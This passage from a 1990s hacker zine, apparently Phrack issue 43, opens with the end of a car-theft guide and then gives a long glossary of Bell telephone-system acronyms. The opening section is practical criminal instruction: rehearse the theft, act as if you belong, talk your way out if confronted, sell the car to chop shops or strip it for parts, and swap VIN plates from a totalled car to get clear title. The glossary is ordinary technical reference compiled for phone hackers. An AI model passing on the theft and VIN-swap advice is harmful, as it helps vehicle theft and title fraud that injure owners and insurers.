every Tuesday. When you actually commit the deed, BE PREPARED. Do
a dry run. Be calm, work quickly but carefully. Act like you
belong where you are -- don't lurk around nervously. Walk right
up to the car and steal it. If confronted by someone, try to talk
your way out of it. Don't get violent: it's just a thing. A car
is not worth hurting someone over. Don't worry about getting
caught: most cities can't cope with the crime epidemic and do not
bother to do much about auto theft.
What Do I Do With It?
---------------------
That's up to you. Take it for a joy ride. If you boosted it from
an airport lot you can probably safely cruise around in it for a
week or two. Go pick up bimbos and drive them to Las Vegas. Or
sell the thing to a chop shop (you're on your own finding them; I
have no experience with them). Tear it apart yourself and sell the
parts. Drive it into the lobby of an insurance company building.
Or go buy a Camaro of the same year and model that has been
totalled out and switch the VIN plates once you have clear title.
That's not a particularly difficult affair, although some skill is
required to remove the VIN tags and install them in your new car.
Have fun! Stay out of trouble. If you have any questions, E-mail
me. Above all, keep in mind that two things are essential to steal
a car without getting caught: PRACTICE and PREPARATION. Good luck!
-->Spy Ace<--
spyace@mindvox.phantom.com
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 21 of 27
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ +
+ +
+ The Telephony Acronyms and Abbreviations List from Hell +
+ +
+ +
+ by +
+ Crisp GRASP +
+ +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Well, here it is, the list from hell. Sure beats the old lists of 100
or so three letter acronyms. The whole reason for this list is so that
you can crack almost ANY bell document. This list came from a few
lists (one in Phrack a while back) and a few other Telephony lists
here and there. Though it must be noted (and i want to take credit for
it) that well over half of the acronyms and abbreviations were typed
in by me, inputed into my database (of course I am not about to give
out my database).
It is always a good idea to start a database, one will learn a lot
faster. It is doing things scientific like, and for someone as
compulsive as I, solving the puzzle of the telephone company was easy
as pie. I must say that all the hackers I have meet, and talked to are
all compulsive as hell <G>. I think it is just what it comes down to,
who is willing to learn. Any ways here is two fields in my database,
one small part, but worth it. Though i do not think it will be able
to help most of you out, just gets into too much, and understanding
which acronym goes where, and understanding what goes where is hard.
Well good luck!
Greets to Bell Northern Labs, never see too much from you press wise!
and to SRI, should have come to Cal. hah (Don knows what I am talking
about, his funding is short)
--------------------------------------------------------------------------
15M Fifteen minutes
15S Fifteen seconds
1CF Singal party coing first pay phone
1FAC Interface packs
1FB One party flat business rate
1OF One party official (telco) business line
2SPDT Partial dial timeout in the second stage of a traditional
2-stage international
2SPST Permanent signal timeout in the second stage of a traditional
2-stage international
2SVCA Vacant code in the second stage of a traditional 2-stage
international outbound
2W Two wire (pair) (circuit)
2WAY Two-way trunk groups
300 Log command menu (SARTS command)
376 Log clear (SARTS command)
384 Write log (SARTS command)
385 Read log (SARTS command)
399 Log print (SARTS command)
3KHZ Three kilohertz
3RNGR Three ringer
3WO Third wire open
4W Four wire (pair) (circuit)
600 Test menu (SARTS command)
600B 600-ohm briged connection
611 Detail tests (SARTS command)
621 Macro command menu (SARTS command)
631 Automatic test command (SARTS command)
735T 735-ohm compromise termination
?A Action field contains an error
?D Data field contains an error
?E Error exist in the message but can ot be resolved to the
proper field
?I Identification field contains an error
?T Time-out has occured on channel
?W Warning message
A A side (lead) (pair)
A Area
A Telephone number or trunk group and member number from trouble
A/B Two wire phone connection (T&R)
AA Automatic answer
AA Packet analog access line INTER/TRA blocal 1-26
AABS Automatic alternate billing service
AAE Auxiliary access equipment
AAR Automatic alternate routing
AAX Automated attendant exchange
AB Packet switch trunk INTER/TRA blocal 1-26
ABATS Automatic bit access test system
ABATS Automatic bit access test system (DDS service)
ABC Automatic bill calling (TSPS)
ABF Abandon failure
ABF Abandon failure (MDII)
ABHC Average busy hour calls
ABL Auxiliary Buffer oder word Left half
ABM Asynchronous balanced mode ( -> SABME)
ABME ABM extended
ABR Auxiliary Buffer order word Right half
ABS Alternate billing service
ABS Alternative billing service
ABSBH Average busy season busy hour
ABT Abort
ABV Above
AC Administrative computer
AC Alternating current
AC Assembly code
ACA Asynchronous communication adapter
ACB Annoyance call bureau
ACB Automatic call-back
ACC Audio communications controller
ACCS Automated calling card service
ACD Automatic call distribution
ACD Automatic call distributor
ACDA Automatic call disposition analyzer
ACDN Access Directory Number
ACDN Access directory number
ACE Assignment change establish
ACE Automatic calling equipment
ACES Aris cabs entry system
ACF Advanced communications functions
ACFA Advanced CMOS frame aligner peb2030
ACG Automatic call gap
ACH Attempt per circuit per hour
ACI Answer controller interface (IOM2 monitor command)
ACIA Asynchronous communications interface adapter
ACK Acknowledge
ACK No acknowledgement wink
ACK No acknowledgement wink (MDII)
ACKDB Acknowledgement database
ACM Address complete msg. (SS7: in ISUP)
ACOF Attendant control of facilities
ACP Action point
ACSE Association control service element
ACSNET Acedemic computing services network
ACSR Automatic customer station rearrangement
ACSU Advanced T-1 channel service unit
ACT AC Testing definition
ACT AC testing definition
ACT Activate
ACT Active
ACT Auto or automatic circuit transactions
ACTS Automated coin toll service
ACTV Acticated
ACTVD Activated
ACU Alarm control unit
ACU Automatic calling unit
AD Attendant INTER/TRA blocal 1-26
ADAP Audix data acquisition package
ADAS Advanced directory assistance system
ADC American digital cellular
ADC Analog to digital converter
ADCCP Advanced data communication controll procedure
ADCCP Advanced data communications control procedure
ADCI Automatic display call indicator
ADD EXP Address expander
ADDL Additional
ADDR Address translations
ADJ Ajust
ADM Add-drop multiplex
ADMA Advanced DMA controller SAB82258
ADN Abbreviated dialing number
ADP Automatic diagnostic process.
ADPCM Adaptive PCM
ADS Administration of designed services
ADS Administration of designed services review
ADS Advanced digital system
ADS Audio distribution system
ADS Auxilary data system
ADSL Asymmetrical digital subscriber line
ADTS Automated digital terminal system
ADTS Automatic data test system
ADTS Automatic digital terminal system
ADU Automatic dialing unit
AERM Alignment error rate monitor
AF Commercial audio fulltime INTER/TRA blocal 1-26
AFACTS Automatic facilities test system
AFADS Automatic force adjustment data system
AFE Analog front end
AFI Authority and format identifier (ISO 7498)
AFSC Advanced features service center
AFSK Automatic frequency shift keying
AG/EEE Above ground electronic equipment enclosures
AGC Automatic gain control
AGM Normal aging months
AGND Analog ground
AGT Accelerated aging type
AI Activate indication (C/I channel code)
AI Artificial intelligence
AI Assigner's initials
AI Automatic identified outward dialing INTER/TRA blocal 1-26
AIC Automatic intercept center
AICC Automatic intercept communications controller
AIN Advanced intelligent network
AIOD Automatic id of outward dialing
AIOD Automatic identifaction of outward dialing
AIS Alarm indication signal
AIS Alarm indication signals
AIS Automatic intercept system
AIT Analit initialization of tables
AIU AI upstream
AL Alternate services INTER/TRA blocal 1-26
ALATS Automatic loop access system system (DDS service)
ALBO Automatic line buildout
ALE Address latch enable
ALE Automatic line evaluation
ALFE Analog line front end
ALGOL Algorhythmic computer language
ALI Automatic location indentification
ALIT Automatic line insulation testing
ALL All events
ALL All module controller maintenance interrupts
ALL Turns on all IDs
ALPT Alarm scan points
ALRM Alarms
ALRU Automatic line record update
ALS Automated list service
AM Administrative module
AM Amplitude modulation
AM Asynchronous multiplexer
AM Packet
AMA Automatic Message Accounting
AMA Automatic message accounting
AMACS AMA collection system
AMAIRR Automatic message accounting irregularity
AMALOST Lost automatic message accounting
AMARC AMA recent change
AMARC AMA recording center
AMASE AMA standard entry
AMAT Automatic message accounting transmitter
AMATPS Automatic message accounting teleprocessing system
AMATPS Automatic message accounting transmitter teleprocessing system
AMC Add-on module connector (-> sipb)
AMERITECH American information technologies
AMI Alternate mark inversion code
AML Automatic maintenance limit.
AMP Advance measurement processor
AMP Amplifier
AMPS Advanced mobile phone service
AMR Automatic meter reading
AMWI Active message waiting indicator
AN Announcement service INTER/TRA blocal 1-26
AN Associated number
ANA Automatic number announcement
ANC All number calling
ANCT Analysis control table
ANI Automatic number identification
ANIF Automatic number identification failure
ANM Answer msg. (SS7: in ISUP)
ANS Answer
ANS Answer On Bus
ANS Answer msg.
ANSER AT&T Network Servicing System (i.e. via EADAS link )
ANSI American national standards institute
AO Allocation order
AO International/overseas audio (full time) INTER/TRA blocal 1-26
AOC Advice of charge (i.256 B)
AOSS Auxilliary operator service system
AP Access point
AP Application (OSI layer 7)
AP Application processor
AP Attached processor
AP Auciliary processor
AP Automatic position
AP Commercial audio (part time) INTER/TRA blocal 1-26
AP-PG Access point page
APC Alarm processor circuit
APC Amarc protocol converter
APD Access point data
APD Avalanche photo diode
APDB Access point data base
APDL Application processor data link
APH Application protocol handler
API Application interface
APM Application processor modules
APPC Advanced program to program communication (IBM)
APPL1-APPL5 Reserved for application handlers
APS Automatic position system
APS Automatic protection switch
APS Automatic protection switching system
AQ Autoquote problem.
AR Activation request (C/I channel code)
AR Alarm report
AR01 Office alarm - 1AESS alarm message -
AR02 Alarm retired or transferred - 1AESS alarm message -
AR03 Fuse blown - 1AESS alarm message -
AR04 Unknown alarm scan point activated - 1AESS alarm message -
AR05 Commercial power failure - 1AESS alarm message -
AR06 Switchroom alarm via alarm grid - 1AESS alarm message -
AR07 Power plant alarm - 1AESS alarm message -
AR08 Alarm circuit battery loss - 1AESS alarm message -
AR09 AMA bus fuse blown - 1AESS alarm message -
AR10 Alarm configuration has been changed (retired inhibited) - 1AESS
AR11 Power converter trouble - 1AESS alarm message -
AR13 Carrier group alarm - 1AESS alarm message -
AR15 Hourly report on building and power alarms - 1AESS alarm message
ARA Automatic reservation adjustment
ARC Administrative responsibility code
ARC Alternate route cancellation
ARC Alternate route cancellation control
ARC Audio response controller
ARCOFI Audio ringing codec filter
ARCOFI-SP ARCOFI + speakerphone function
ARCOS ARCOFI coefficient support program
ARCOTI SIPB telephone module
ARD AR downstream
ARG Alarm reference guide
ARG Assemble and run a given master file
ARIS Audichron recorded information system
ARL Activation request local loop (C/I channel code)
ARM Activation request maintenance (C/I channel code)
ARM Asynchronous response mode
ARM Automatic R(emote test system) maintance
ARMAR Automatic request for manual assistance resolution
ARN Activation request
ARQ Automatic repeat request
ARR Automatic ring recovery.
ARS Alternate route selection
ARS Automatic route selection
ARSB Automated repair service bureau
ARSB Automatic repair service bureau
ARSSI Automatic rought selection screening index
ART Audible ringing tone
ARU Activation request upstream
ARU Audio response unit
ASAP As soon as possible
ASC Alarm and status circuit
ASC Alarm and status circuit .
ASC Alarm surveillance and control
ASCC2 Advanced serial communication controller
ASCII American standard code for information interchange
ASCII American standard code for information interexchange
ASD Automated SMAS diagnostics
ASDPE Synchronous data link controller (SDLC) A reset
ASE Application service element
ASEC Assignment section
ASGN Assign
ASGNMTS Assignments
ASIC Application specific integrated circuit
ASM Analog subscriber module
ASOC Administrative service oversight center
ASP Advanced service platform
ASP Arcofi signal processor
ASPACGCOMP ASP SCP response message with an ACG component received at the
switch
ASPBADRESP ASP SCP response message received with invalid data
ASPEN Automatic system for performance evaluation of the network
ASPNORTEMSG ASP reject message ret err and a play announc recei at the
switch from the SCP
ASPSNCOMP ASP SCP response message with a send notifi component received
at the switch
ASPTNMSG ASP termination notification message sent from the switch to
the SCP
ASR Access service request
ASSN Assignment
AST Position acknowledge seizure signal time-out (MDII)
ASYNC Asynchronous
AT Access tandem
AT International/overseas audio (part time) INTER/TRA blocal 1-26
AT&T American telephone and telegraph
AT-1 Auto test-1
AT-2 Auto test-2
AT01 Results of trunk test - 1AESS automatic trunk test
ATA Automatic trunk analysis
ATAB Area trunk assignment bureau
ATAI Automatic troubler analysis interface
ATB All Trunks Busy
ATB All trunks busy
ATC Automated testing control
ATC Automatic transmission control
ATD Accept date
ATD Async. TDM
ATH Abbreviated trouble history
ATI Automatic test inhibit
ATI Awake TI
ATICS Automated toll integrity checking system
ATIS Automatic transmitter identification system
ATM Analog trunk module
ATM Asynchronous transfer mode
ATM Automatic teller machine
ATMS Automated trunk measurement system
ATN Assigner's telephone number
ATO Time-out waiting for address complete signal
ATP All tests pass
ATR Alternate trunk routing
ATRS Automated trouble reporting system
ATTC Automatic transmission test and control circuit
ATTCOM AT&T communications
ATTG Attendant group
ATTIS AT&T information system
AU Access unit
AU Autoscript INTER/TRA blocal 1-26
AU Auxiliary
AUD Assignment list audit
AUD Audits
AUDIT Audit detected problem.
AUDIX Audio information exchange
AUP Access unit port
AUTO Automaitc
AUTODIN Automatic digital network
AUTOSEVCOM Automatic secure voice communications
AUTOVON Automatic voice network
AUXF Auxillary frame
AVD Alternate voice data
AVD Alternate voice-data
AWI Awake indication
AZD All zeros data
B B side (pair) (lead)
B Bridged connection
B Equipment number
B6ZS Bipolar with 6 zero subsitution
B8ZS Bipolar eight zero suppression encoding (DS-1)
B8ZS Bipolar with 8 zeros substitution (T1 pri)
B911 Basic 911
BA Basic access
BA Protective alarm (CD) INTER/TRA blocal 1-26
BAF Blocking acknowledgment failure
BAI Bridge lifter assignment inquiry
BAL Balance
BAMAF Bellcore AMA format
BANCS Bell administrative network communications system
BANKS Bell adminastration network systems
BAPCO Bellsouth advertising & publishing company
BAS Basic activity subset
BAT Battery (-48v)
BAx Business address x (x = number of line)
BB Blue box
BBD0/1 Binary 0s or 1s detected in b and d channels
BCC Bellcore client companies
BCC Block check character
BCC Blocked call cleared
BCCP Bearer ccp
BCD Binary coded decimal
BCD Blocked call delayed
BCFE Busy call forwarding extened
BCID Business customer identifier
BCLID Bulk calling line identification
BCMS Basic call management system
BCS Batch change supplement (NTI) (DMS-100)
BDCA Unk
BDCS Broadband digital cross-connect system
BDS Basic data service
BDT Billing data transmitter
BEF Band elimination filter
BEL Bell
BELLCORE Bell communications research
BER Bit error rate
BERT Bit error rate test
BETRS Basic exchange telecommunications radio service
BG Battery and ground signaling
BG/EEE Below ground electronic equipment enclosures
BHC Busy hour call
BHC Busy hour calls
BIB Backward indicator bit (SS7)
BICU Bus interface control unit
BIFIFO Bidirectional fifo
BIR Bit receiver
BIR Bus interface register
BISDN Broadband ISDN
BISP Business information system program
BISYNC Binary synchronous communications
BIT Bit
BIT Bit transmitter
BITNET Because-it's-time network
BITR Bit transceiver
BIX Building internal cross-connects
BK Back
BKUP Backup
BKUP Requests a backup
BL Bell & lights INTER/TRA blocal 1-26
BL Bridge lifter
BL Bridge lifters - COSMOS command
BL/DS Busy line/don't answer
BLA Blocking acknowledgement (SS7: in ISUP)
BLF Busy line field
BLFCA Blocking a fully coded addressed international outbound call
routed to a non-common channel signaling trunk
BLK Block
BLKD Blocked
BLO Blocking (SS7: in ISUP)
BLS Bridge lifter status
BLS Business listing service
BLV Busy line verification
BMC Billing media coverage
BMD Batch mode display
BMI Batch mode input - TIMEREL and DEMAND
BMOSS Building maintance operations service system
BMR Batch mode release
BMU Basic measurement unit (dip)
BND Band number
BNS Billed number screening
BNSDBOV BVA BNS message received indicating data base overload
BNSDBUN BVA BNS message returned because data base unable to process
BNSGMSG BVA BNS message received garbled
BNSNBLK BVA BNS message returned because of network blockage
BNSNCON BVA BNS message returned because of network congestion
BNSNRTE BVA BNS message returned because of no routing data
BNSTOUT BVA BNS message returned because of timeout
BNSUNEQ BVA BNS message returned because of unequipped destination
BNSURPY BVA BNS message received with an unexpected reply
BNx Business name x (x = number of line)
BOC Bell operating companies
BOC Bell operating company
BOCC Building operations control center
BOP Byte oriented protocol
BOR Basic output report
BORSCHT Battery
BOS Bit oriented signaling
BOS Business office supervisor
BOSS Billing and order support system
BOSS Business office service system (NYNEX)
BOT Beginning of tape
BOT Bottom
BPI Bits per inch
BPOC Bell point of contact
BPS Bits per second
BPSK Binary psk
BPSS Basic packet-switching service
BPUMP Backup pump
BR Bit robbing (CAS-BR)
BRAT Business residence account tracking system
BRCF Business and residential customer service feature
BRCS Business and residential customer services
BRCS Business residence custom service
BRDCST Broadcase
BRDG Bridge
BRDGD Bridged
BREVC Brevity control
BRG Baud rate generator
BRI Basic rate interface
BRITE Basic rate interface transmission extension (5ESS)
BRK Break
BRM Basic remote module
BRM Bell communications research practice
BRST Bridge signature table
BS Backspace
BS Banded signaling
BS Bias battery (-19.1v)
BS Siren control INTER/TRA blocal 1-26
BSA Basic serving arrangements
BSBH Busy season busy hour
BSC Business service center
BSC/RSC Business/residence service center
BSCM Bisynchronous communications module
BSDPE SDLC B reset
BSE Basic service elements
BSF Bell shock force
BSI British standards institution
BSN Backward sequence number (SS7)
BSOC Bell systems operating company
BSP Bell system practice
BSRF Basic standard reference frequency
BSRFS Bell system reference frequency standard
BST Basic services terminal
BSTJ Bell system technical journal
BT British telecom
BTAM Basic telecommunications access message
BTH Both
BTL Bell telephone laboratories
BTN Billing telephone number
BTSR Bootstrapper board
BTU British thermal unit
BUFF System buffers (NTI)
BVA Billing validation application
BVAPP Billing verification and authorization for payment process
BVC Billing validation center
BVS Basic voice service
BWM Broadcast warning message
BWT Broadcast warning twx
BWTS Bandwidth test set
BYF Display the bypass file
BYP Change the contents of the bypass file
C Counting rate
C Current supervision
C Scan point (SP)
C&A Centrifugal and absorption
C-ACD Commercial-automatic call distributor (OSPS)
C-NCH C-notch
C/I Command/indicate
C/S UNIT Combiner and splitter
C1 Circuit system
CA Cable
CA Cable number
CA Collision avoidance
CA SSN access INTER/TRA blocal 1-26
CABS Carrier access billing system
CAC Calling-card authorization center
CAC Carrier access code
CAC Circuit administration center
CAC Customer administration center
CACHE Cache errors
CAD Computer-aided dispatch
CAD Critical alarm display
CADN Circuit administration.
CADV Combined alternate data/voice
CAF Circuit reset acknowledgment failure
CAFD Comptrollers' automatic message accounting format description
CAFD Controllers automatic message accounting format description
CAI Address incomplete received
CAI Call assembly index
CAIS Colocated automatic intercept system
CALRS Centralized automatic loop reporting system
CAM Communication access method
CAM Computer aided manufacturing
CAM Content adressable memory
CAM Control administration module
CAMA Central automatic message accounting.
CAMA Centralized auto message accounting
CAMA Centralized automatic message accounting
CAN Cancel
CANC Cancel (i.451)
CANF Clear the cancel from
CANT Clear the cancel to
CAP Capacitance
CARL Computerized administrative route layout
CAROT Centralized automatic reporting on trunks
CAROT Centralized automatic reporting on trunks.
CAS Cannel associated signaling
CAS Circuit associated signaling
CAS Computerized autodial system
CAS Craft access system (SARTS)
CAS Customer account service
CAS7ABM CAS common channel signaling 7 (CCS7) abort message received
CAS7ACG CAS CCS7 ACG invoke component received
CAS7GMG CAS CCS7 received with invalid format reply
CAS7GWE CAS CCS7 error
CAS7NCG CAS CCS7 message returned because of network congestion
CAS7NFL CAS CCS7 message returned because of network failure
CAS7RCR CAS CCS7 reject component received
CAS7SCG CAS CCS7 message returned because of subsystem congestion
CAS7SFL CAS CCS7 message returned because of subsystem failure
CAS7TAN CAS CCS7 message returned
CAS7TOT CAS CCS7 query which timed out before reply received
CASDBOV CAS message received indicating data base overload
CASDBOV Customer account services (CAS) message received indicating data base overload
CASDBOV Customer account services (CAS) message received indicating database overload
CASDBUN CAS message returned
CASGMSG CAS message received garbled
CASNBLK CAS message returned because of network blockage
CASNCON CAS message returned because of network congestion
CASNRTE CAS message returned because of no routing data
CASTOUT CAS message returned because of timeout
CASUNEQ CAS message returned because of unequipped destination
CASURPY CAS message received with an unexpected reply
CAT Centrex access treatment
CAT Craft access terminal
CATLAS Centralized automatic trouble locating and analysis system
CAY Create an assembly
CB OCC audio facilitys INTER/TRA blocal 1-26
CBA Change back acknowledgement (SS7: in mtp)
CBD Change back declaration (SS7: in mtp)
CBEMA Computer and business equipment manufacturers' assc.
CBERR Correctable bit error
CBS Crossbar switching
CBX Computerized branch exchange
CC Call count
CC Central control
CC Central controller
CC Common channel (CAS-CC)
CC Common control
CC Connection confirm
CC Country code
CC Country code (ISO 7498)
CC Initials of person closing report out to catlas.
CC OCC digital facility-medium speed INTER/TRA blocal 1-26
CC1 Call control 1 (IOS)
CCA Change customer attributes
CCA Computer content architecture (ISO 8637/2)
CCBS Completion of call to busy subscribers (i.253 c)
CCC Centeral control complex
CCC Central control complex
CCC Clear channel capability
CCC Computer control center
CCD Change due date - COSMOS command
CCDDBOV BVA calling card (CCRD) message received indicating data base
overload
CCDDBUN BVA CCRD message returned because data base unable to process
CCDGMSG BVA CCRD message received garbled
CCDNBLK BVA CCRD message returned because of network blockage
CCDNCON BVA CCRD message returned because of network congestion
CCDNRTE BVA CCRD message returned because of no routing data
CCDR Calling card
CCDTOUT BVA CCRD message returned because of timeout
CCDUNEQ BVA CCRD message returned because of unequipped destination
CCDURPY BVA CCRD message received with an unexpected reply
CCF Custom calling features
CCH Connections per circuit per hour
CCIR Comite' consultatif international des radio communications
CCIR Consultative committee for radiocomunication (international radio
CCIS Common channel interoffice signaling
CCITT Comite' consultatif international telegraphique et telephonique
CCITT Consultative committee for internat. telephone and telegraph
CCM Customer control management
CCNC CCS network control
CCNC Common channel network controller
CCNC Computer/communications network center
CCOA Cabinet control and office alarm
CCP Call control part
CCR Clock configuration register
CCR Continuity check request (SS7: in ISUP)
CCR Customer-controlled reconfiguration
CCRC Corrupt crc (IOM2 monitor command)
CCRD Calling card (5E)
CCRS Centrex customers ... system
CCS Centum Call Seconds
CCS Cluster support system
CCS Common channel signaling
CCS Custom calling services (NTI)
CCS Hundred (C) call seconds
CCS Hundred call seconds
CCSA Common control switching arrangement
CCT Central control terminal
CCT Initialize and update the contractor-transducer file
CCTAC Computer communications trouble analysis center
CCU Colt computer unit
CCU Combined channel units
CCU Communication control unit
CCV Calling card validation
CD Call deflection (i.252 e)
CD Collision detection (->csma/)
CDA Call data accumulator
CDA Change distribution attributes
CDA Coin detection and announcement
CDACS Concentrating DACS
CDAR Customer dialed account recording
CDC Central distrubtion center
CDCF Cumulative discounted cash flow
CDD Change due date
CDF Combined distributing frame
CDF DTF coin
CDFI Communication link digital facilities interface
CDI Circle digit identification
CDI Connected line identification (i.251 C/E)
CDI Control and data interface.
CDI Control data interface
CDIG Circle digit translation (NTI)
CDM Coax data module
CDMA Code division ma
CDO Community dial office
CDPR Customer dial pulse receiver
CDQ1 Custom calling services discount quote
CDR Call detail record
CDR Call dial rerouting
CDR Collision detect input line
CDR Cut thru dip report
CDRR Call detail recording and reporting
CDS Circuit design system
CDS Codes
CDS Craft dispatch system
CE Collision elimination (->CSMA/)
CE Common equipment data (NTI)
CE Conducted emission (EME)
CE SSN station line INTER/TRA blocal 1-26
CEF Cable entrance facility
CEI Comparable efficient interconnection
CEI Comparably efficient interconnection
CEN European committee of standards
CENELEC European committee of standards (electrotechnics)
CEP Connection endpoint
CEPT European conference of post/telecom administrations
CES CC error summary
CEU CCS estimated usage
CEV Control environmental vault
CEV Controlled environment vault
CF Coin first
CF OCC special facility INTER/TRA blocal 1-26
CFA Carrir failure alarms
CFA Change facility attributes
CFC Cost function code
CFCA Communications fraud control association
CFD Coinless ANI7 charge-a-call
CFGN Configuration
CFI Configurable interface (SIPB)
CFINIT Custom calling feature table
CFN Call forward number
CFND Call forward number don't answer
CFNR Call forwarding no reply (i.252 c)
CFP Call forwarding busy (i.252 b)
CFP Print the class of service/features for an electromechanical
enti
CFR Code of federal regulations
CFT Craft
CFU Call forwarding unconditional (i.252 d)
CFU Change facility usage
CG Control group number
CG OCC telegraph facility INTER/TRA blocal 1-26
CG01 Carrier group in alarm - 1AESS carrier group
CG03 Reason for above - 1AESS carrier group
CGA Carrier group alarm
CGA Carrier group assignment
CGAP Call gapping
CGAP Call gapping code controls messages.
CGB Circuit group blocking (SS7: in ISUP)
CGBA CGB acknowledgement
CGM Computer graphics metafile (ISO DIS 8632)
CGN Concentrator group number
CGNC Connector group network controller
CGU Circuit group unblocking (SS7: in ISUP)
CGUA CGU acknowledgement
CH Change
CH OCC digital facility high-speed INTER/TRA blocal 1-26
CHAN Channel
CHAPS UNK - a known AT&T System - def. unknown
CHAR Character
CHG LASG Change loop assignment
CHK Check
CHR Chronical
CI Concentrator identifier trunk INTER/TRA blocal 1-26
CI0IN Control interface 0 interrupt
CI1IN Control interface 1 interrupt
CIB Centralized intercept bureau
CIC Carrier identification codes
CIC Circuit identification code
CIC Customer Information Center (AT&T)
CICS Customer information control system
CID Connection identification
CIE Company establish company initiated change
CIF Common intermediate format (for ISDN high end video)
CIH Craft interface handler
CII Call identity index
CII Initial address message (IAM) irregularity (incoming)
CIMAP Circuit installation and maintance assistance program
CIMAP/CC Circuit installation and maintenance assistance/control
center
CIP Control interface port
CIRR C/I receive register
CIS Crimeline information systems
CIS Customized intercept service
CIXR C/I transmit register
CJ OCC control facility INTER/TRA blocal 1-26
CK Checkbits
CK OCC overseas connecting facility wide-band INTER/TRA blocal 1-26
CKF Continuity check failure (incoming)
CKID Circuit identification
CKL Circuit location
CKS Clock select bit
CKT Circuit
CKT Circuit.
CKTRY Cuicuitry
CL Centrex CO line INTER/TRA blocal 1-26
CLASS Centralized local area selective signaling
CLASS Custom local area signaling service
CLC Common language code for an entity
CLCI Common language circuit identification
CLCT Network management control counts
CLDIR Call direction
CLDN Calling line directory number
CLEI Common language equipment identifier
CLF Creating dips upper bound load factor
CLFI Common lang facilities identication
CLI COSMOS processed alit reports
CLI Calling line ident
CLID Calling line identification
CLIP Calling line identification presentation (i.251 c)
CLIR Calling line identification restriction (i.251 d)
CLK Clock
CLL Creating dips lower bound load factor
CLLI Common-language location identification
CLNK Communication link
CLNKs Communication links
CLNORM Communication link normalization
CLR Circuit layout record
CLR Clear
CLRC Circuit layout record card
CLS CLCI in serial number format
CLS Connectless-mode service
CLSD Closed
CLSV Class of service
CLT CLCI telephone number format
CLT Communications line terminal
CLUS Cluster data (NTI)
CM C-message frequency weighting
CM Communication module
CM Connection memory
CM OCC video facility INTER/TRA blocal 1-26
CMAC Centralized maintenance and administration center
CMAP Centralized maintance and administration position
CMC Call modification completed (SS7: in ISUP)
CMC Cellular mobile carrier
CMC Cellular modile carrier
CMC Construction maintenance center
CMD Command
CMDF Combined main distributing frame
CMDS Centralized message data system
CMF Capacity main station fill
CMP Communication module processor
CMP Communications module processor
CMP Companion board
CMP Corrective maintenancean practices
CMPR Compares
CMR Call modification request (SS7: in ISUP)
CMR Cellular mobile radio
CMRJ CMR reject (SS7: in ISUP)
CMS Call management system
CMS Circuit maintance system
CMS Circuit maintance system 1C
CMS Circuit maintenance system
CMS Communications management subsystem
CMS Conversational monitoring system
CMT Cellular mobile telephone
CMT Combined miscellaneous trunk frame
CMU CCS measured usage
CMU Colt measurement unit
CN C-notch frequancy weighting
CN Change notice
CN Changel noticee
CN Connection
CN SSN network trunk INTER/TRA blocal 1-26
CN/A Customer name/address
CN02 List of pay phones with coin disposal problems - 1AESS coin
phone
CN03 Possible trouble - 1AESS coin phone
CN04 Phone taken out of restored service because of possible coin
fraud
CNA Communications network application
CNAB Customer name/address bureau
CNCC Customer network control center
CNI Common network interface
CNMS Cylink network management system
CNS Complimentary network service
CNS Concentrating network system
CNT Count
CNTS Counts
CNVT Converted
CO Central office
CO Continuous (SARTS)
CO OCC overseas connecting facility INTER/TRA blocal 1-26
CO UN Central office unit code
COA Change over acknowledgement (SS7 in MTE)
COAM Centralized operation
COAM Customer owned and maintained
COC Circuit order control
COCOT Customer-owned coin-operated telephone
COD Code
CODCF Central office data connecting facility
CODEC Coder/decoder
COE Central office entity
COE Central office equipment
COEES COE engineering system
COEES Central office equipment engineering system
COER Central office equipment record
COEST Central office equipment signature table
COF Confusion received (outgoing)
COFA Change of frame alignment (DS-1)
COG Centralized operations group
COGRDG Central office grounding
COLP Connected line identification presentation
COLR Connected line identification restriction
COLT Central office limit table
COLT Central office line tester
COM Common controller
COM Communication
COM Complement size
COM Computer output microfilm
COM/EXP PCM-compander/expander
COMM Comunication
COMMS Central office maintenance management system
COMMS-PM Central office maintenance management system-preventive
Maintenance
COMP Computed
COMPNY Company
COMPS Central Office Managenment Program (GTE)
COMSAT Communications satellite
CON Concentrator - COSMOS command
COND Conditions
CONF Conference calling (i.254 a)
CONFIG Configutation
CONN Connect msg. (i.451)
CONN Connector
CONN Nailed-up connections
CONT Control
CONTAC Central office network access
CONUS Continental united states
COO Change over order (SS7: in MTP)
COP Call offering procedure
COPY Data copied from one address to another - 1AESS copy
CORC Commands and responses definition and compressing program (IOS)
CORC Customer riginated recent change
CORCs Customer-originated recent changes
CORNET Corperate network
COS Connection-mode service
COSIB Central office platform operator service interface board
COSMIC Common systems main interconnection frame system (frame)
COSMOS Computer system for mainframe operations
COT Centeral office terminal
COT Central office technician
COT Central office terminal
COT Central office terminal (opposite to RT)
COT Continuity (SS7: in ISUP)
COTM Central office overload call timing (NTI)
CP Cable pair
CP Call processing parameters (NTI)
CP Communication processor (SARTS)
CP Concentrator identifier signaling link INTER/TRA blocal 1-26
CP Control program
CPA Centralized/bulk power architecture
CPC Cellular phone company
CPC Circuit provision center
CPC Circuit provisioning center
CPC Circuit provisioning center (special services design group)
CPCE Common peripheral controller equipment
CPD Central pulse distributor
CPD Common packet data channels
CPE Customer premise equipment
CPE Customer premises equipment
CPG Call progress (SS7: in ISUP)
CPH Cost per hour
CPI COSMOS-premis interface
CPI Computer private branch exchange interface
CPIE CP or AM intervention interrupt error
CPM COSMOS performance monitor
CPM Citcuit pack module
CPM Cost per minute
CPMP Carrier performance measurement plan
CPS Cycles per second
CPU CCS capacity usage
CPU Call pick up
CPU Call pickup group
CPU Central processing unit
CQM Circuit group query (SS7: in ISUP)
CQR CQM response
CR Carriage return
CR Control Record
CR Control response
CR OCC backup facility INTER/TRA blocal 1-26
CRAS Cable repair administrative system
CRC Customer record center
CRC Cyclic redundancy check
CRCOK CRC ok! (C/I channel code)
CRE Create
CRED Credit card calling (i.256 a)
CREF Connection refused
CREG Concentrated range extension with gain
CRF Continuity recheck failure (outgoing)
CRFMP Cable repair force management plan
CRG Creg tag
CRIS Customer records information system
CROT Centralized automatic reporting of trunks (NTI)
CRR Reset received (incoming)
CRS Centralized results system
CRSAB Centralized repair service answering bureau
CRST Specific carrier restricted
CRT Cathode ray tube
CRT Cathode-ray tube
CRTM Central office regular call processing timing (NTI)
CS Cable switching
CS Call Store
CS Channel service INTER/TRA blocal 1-26
CS Conducted susceptibility (EMS)
CS Customer class of service
CSA Carrier serving area
